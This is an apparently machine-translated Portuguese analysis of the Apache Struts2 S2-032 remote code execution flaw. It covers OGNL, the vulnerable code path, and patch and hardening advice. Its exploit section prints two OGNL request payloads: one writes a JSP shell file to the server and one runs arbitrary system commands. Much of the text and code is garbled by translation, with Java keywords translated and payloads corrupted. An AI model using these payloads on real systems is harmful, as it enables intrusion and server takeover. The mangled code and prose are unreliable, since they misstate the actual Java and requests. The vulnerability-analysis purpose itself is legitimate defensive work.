Em 26 de abril de 2016, o Apache Struts2 emitiu oficialmente outro anúncio de segurança: o serviço Apache STRUTS2 pode executar remotamente quaisquer comandos quando o método do estado for chamado e iniciado. O número oficial é o número S2-032 e CVE é CVE-2016-3081. Esta é a vulnerabilidade em larga escala do serviço explodiu após quatro anos desde que a vulnerabilidade de execução do comando STRUTS2 eclodiu em 2012. Essa vulnerabilidade também é a vulnerabilidade de segurança mais séria que foi exposta este ano. Os hackers podem usar essa vulnerabilidade para executar operações remotas em servidores corporativos, resultando em grandes ameaças à segurança, como vazamento de dados, acusação de host remota, penetração de intranet, etc.
Após a vulnerabilidade, foi outro evento coletivo de segurança e empresas relacionadas. Os exploradores de vulnerabilidade estavam usando essa vulnerabilidade o máximo possível para mostrar seu excelente nível; Várias plataformas de testes públicos lançaram empresas que foram capturadas para melhorar o papel da plataforma; As principais empresas de segurança também fizeram pleno uso dessa vulnerabilidade para aumentar a influência da empresa, aproveitar o marketing, a detecção gratuita, a atualização o mais rápido possível, etc. Ainda restam muitos fabricantes deprimidos, e eu não perguntei a ninguém e mexer com ninguém; Em seguida, um grande número de pessoal de desenvolvimento e operação deprimidos deve atualizar os patches de vulnerabilidade da noite para o dia.
No entanto, o princípio das vulnerabilidades afeta a proteção e outros fatores raramente são mencionados. Este artigo trata de apresentar suas próprias opiniões sobre os pontos acima.
princípio
Essa vulnerabilidade usa a execução dinâmica do OGNL da STRUTS2 para acessar qualquer código Java. Usando essa vulnerabilidade, você pode digitalizar páginas remotas da Web para determinar se existe uma vulnerabilidade e, em seguida, enviar instruções maliciosas, implementar uploads de arquivos, executar comandos nativos e outros ataques subsequentes.
Ongl é a abreviação do idioma de navegação de objetos-grafos, e seu nome completo é o idioma de navegação por gráfico de objetos. É uma linguagem de expressão poderosa. Através da sintaxe simples e consistente, ele pode acessar as propriedades do objeto ou chamar os métodos do objeto à vontade e atravessar o diagrama de estrutura do objeto inteiro e realizar a conversão dos tipos de atributos de objeto e outras funções.
#, % e $ símbolos geralmente aparecem nas expressões Ognl
1. Geralmente, existem três usos de símbolos #.
Acesso a propriedades de objetos não raiz, como a expressão #session.msg, como a pilha mediana do Struts 2 é considerada um objeto raiz, você precisa prefixar ao acessar outros objetos que não são da raiz; É usado para filtrar e projetar conjuntos de projetos, como pessoas. {?#this.age> 25}, pessoas. {?#this.name == 'PLA1'}. {AGE} [0]; É usado para construir mapas, como #{'foo1': 'bar1', 'foo2': 'bar2'} no exemplo.
2. Símbolo %
O objetivo do símbolo % é calcular o valor da expressão de Ognl quando o atributo do sinalizador é um tipo de string. Isso é semelhante à avaliação no JS e é muito violento.
3. O símbolo $ tem dois usos principais.
No arquivo de recursos internacionais, consulte expressões OGNL, como o código no arquivo de recursos internacionais: reg.agerange = informações internacionais de recursos: a idade deve estar entre $ {min} e $ {max}; Consulte as expressões OGNL no arquivo de configuração da estrutura Struts 2.
Processo de utilização de código
1. Solicitação do cliente
http: // {siteip.webapp}: {Portnum}/{vul.action}? Método = {Malcmdstr}
2. A função DefaultActionProxy da DefaultActionProxy lida com solicitações.
DefaultActionProxy protegido (ActionInvocation Inv, string namespace, string actionName, string MethodName, boolean ExecuteResult, Boolean CleanupContext) {this.invocation = inv; this.cleanUpContext = limpingContext; Log.debug ("Criando um DefaultActionProxy para namespace [{}] e nome da ação [{}]", namespace, actionName); this.actionName = stringescapeutils.escapehtml4 (actionName); this.namespace = namespace; this.Executeresult = ExecutreSult; // Os participantes podem ignorá -lo por meio de passagem variável, enchimento de sintaxe, fuga de caracteres e outros métodos. this.method = stringescapeutils.escapeecmascript (stringescapeutils.escapehtml4 (MethodName));}3. DefaultActionMapper Método Nome do DefaultActionMapper
String name = key.substring (action_prefix.length ()); if (allowdynamicmethodCalls) {int bang = name.indexof ('!'); if (bang! = -1) {// Get Method Name String Method = CleanupActionName (name.substring (bang + 1)); Mapping.SetMethod (Método); nome = name.substring (0, bang); }}4. Chame o método de invocação de defaultActionInvocation para executar o método aprovado.
String protegida InvoKeaction (ação do objeto, actionConfig ActionConfig) lança Exceção {String MethodName = proxy.getMethod (); Log.debug ("Execução do método de ação = {}", MethodName); String timerKey = "InvokeAction:" + proxy.getActionName (); tente {utiltImerstack.push (timerkey); MethodResult de objeto; tente {// Execute Method MethodResult = Ognlutil.getValue (MethodName + "()", getStack (). getContext (), ação); } catch (MethodFailedException e) {Solução
A solução oficial é adicionar verificação no nome da função CleanupActionName na etapa 3.
padrão protegido permitidoactionNames = padrony.compile ("[a-ZA-Z0-9 ._! ///-]*"); protegido String CleanupActionName (final String RawActionName) {// Verifique, digite o filtro correspondente regular ("a-za-z0-9 ._! if (permedactionNames.Matcher (RawActionName) .matches ()) {return RawActionName; } else {if (log.iswarnenabled ()) {log.warn ("ação/método [#0] não corresponde ao padrão de nomes de ação permitido [#1], limpando -o!", RawActionName, permobactionNames); } String cleanActionName = RawActionName; for (string chunk: alpedactionNames.split (RawActionName)) {CleanActionName = CleanActionName.replace (Chunk, ""); } if (log.isdebugenabled ()) {Log.debug ("Nome da ação/método limpa [#0]", CleanActionName); } Retornar CleanActionName; }}Reparar sugestões
1. Desative chamadas de método dinâmico
Modifique o arquivo de configuração do Struts2 e defina o valor de "struts.enable.dynamicmethodinvocation" como false, por exemplo:
<constantName = "struts.enable.dynamicmethodinvocation" value = "false"/>;
2. Atualize a versão do software
Atualizar a versão para 2.3.20.2, 2.3.24.2 ou 2.3.28.1
Endereço do patch: https://struts.apache.org/download.cgi#struts23281
Explorar código
1. Carregue o arquivo:
Método:%23_memberAccess%[email] [email protected] [/email]@default_member_access,%23Req%3d%40org.apache.struts2.servletActionContext%40GetRequest (),%23 res%3d%40org.apache.structs2.ServletActionContext%40getResponse (),%23Res.Setcharacterencoding (%23Parameters.ncoding [0]),%23W%3d 3d 23Res.GetWriter (%23pat h%3d%23Req.GetRealPath (%23Parameters.pp [0]), novo%20Java.io.BufferedWriter (novo%20java.io.FileWriter (%23Path%2B%23Parameters.ShellName [0]). Append (%23Param eters.ShellContent [0])). Close (),%23W.print (%23Path),%23W.Close (), 1?%23xx:%23Request.ToString & ShellName = stest.jsp & ShellContent = TTT & Ecoding = utf-8 & pp =%2f
O código acima parece um pouco inconveniente, vamos convertê -lo e dar uma olhada.
Método: #_ MEMBORACCESS [email protected]@default_member_access,#req [email protected]@getRequest (),#[email protected] ervletActionContext@getResponse (),#res.setcharacterencoding (#parameters.encoding [0]),#w =#res.getWriter (),#path =#req.getRealPath (#parameters.pp [0]), novo java.io.bufferedwriter (novo java.io.fileWriter (#PATH+#parâmetros.shellname [0]). Anexe (#parameters.shellcontent [0])). Close (),#w.print (#path),#w.jclose (), 1?
2. Execute os comandos locais:
Método:%23_memberAccess%[email protected]@default_member_access,%23res%3d%40org.apache.structs2.servletActionContext%40getRespo NSE (),%23Res.Setcharacterencoding (%23Parameters.Encoding [0]),%23W%3d%23Res.GetWriter (),%23s%3dnew+java.util.scanner (@java.lang.run time@getRuntime (). EXEC (%23Parameters.cmd [0]). getInputStream ()). UsadoLimiter (%23Parameters.pp [0]),%23str%3d%23.Hasnext ()%3F%23s. a seguir ()%3a%23Parameters.ppp [0],%23W.print (%23STR),%23W.Close (), 1?%23xx:%23Request.ToString & CMD = Whoami & pp = // A & PP =%20 & codificação = UTF-8
Vamos dar uma olhada após a conversão
Método: #_ MEMBERACCESS [#parâmeters.name1 [0]] = true,#_ MemberAccess [#parameters.name [0]] = true,#_ membro do membro [#parameters.name2 [0]] = {},#_ _ _ _ _ MemberAccess [#paramete rs.name3 [0]] = {},#res [email protected]@getResponse (),#res.SetcharAcTerEncoding (#parameters.encoding [0]),#w#d#res.getWriter (),#s = new java.util.scanner (@java.lang.runtime@getRuntime (). Exec (#parameters.cmd [0]). getInputStream () int (#str),#w.close (), 1? #xx:#request.toString & name = allowstaticMethodAccess & name1 = allowPrivateAcCess & name2 = excluiPackagenamePatterns & name3 = excluiDclasses & cmd = whoami e pp = // a & pp & pp =Através da introdução anterior, descobri que é relativamente fácil de entender após a conversão.
Como prevenir
Existe um princípio muito importante na segurança, que é o princípio de menos permissões. O chamado privilégio menos refere-se aos "privilégios essenciais para cada diretor (usuário ou processo) na rede ao concluir uma determinada operação". O princípio do privilégio mínimo significa que "os privilégios mínimos de que cada entidade na rede deve ser limitada para garantir que possíveis acidentes, erros, adulteração de componentes da rede e outras perdas sejam minimizados".
Por exemplo, se as chamadas de método dinâmico não forem usadas no sistema, elas serão removidas durante a implantação, para que, mesmo que o patch não seja disparado, ele ainda não será usado.
Um dos danos mais importantes nesse sistema é executar processos locais, que também podem ser desativados se o sistema não executar localmente.
Vamos dar uma olhada no código que executa comandos locais no código Java, Processimpl no Processimpl.
Processimpl privado (string cmd [], string final EnvBlock, caminho final da string, longa duração final [] stdhandles, final boolean redirecterrorstream) lança IoException {string cmdstr; SecurityManager Security = System.getSecurityManager (); boolean permite ambíguosCommands = false; if (segurança == null) {allowambiguousCommands = true; // O JDK especificou parâmetros para identificar se os processos locais podem ser executados. String Value = System.getProperty ("jdk.lang.process.allowAmbíguaCommands"); if (valor! = null) permitir amcompromands =! "false" .equalsignorecase (valor); } if (perlandembiguousCommands) {Quando o Java começar, adicione o parâmetro -djdk.lang.process.allowambigousCommands = false, para que o Java não execute processos locais.
Se você puder desligar o conteúdo desnecessário com antecedência quando o sistema for implantado, o dano dessa vulnerabilidade pode ser reduzido ou eliminado.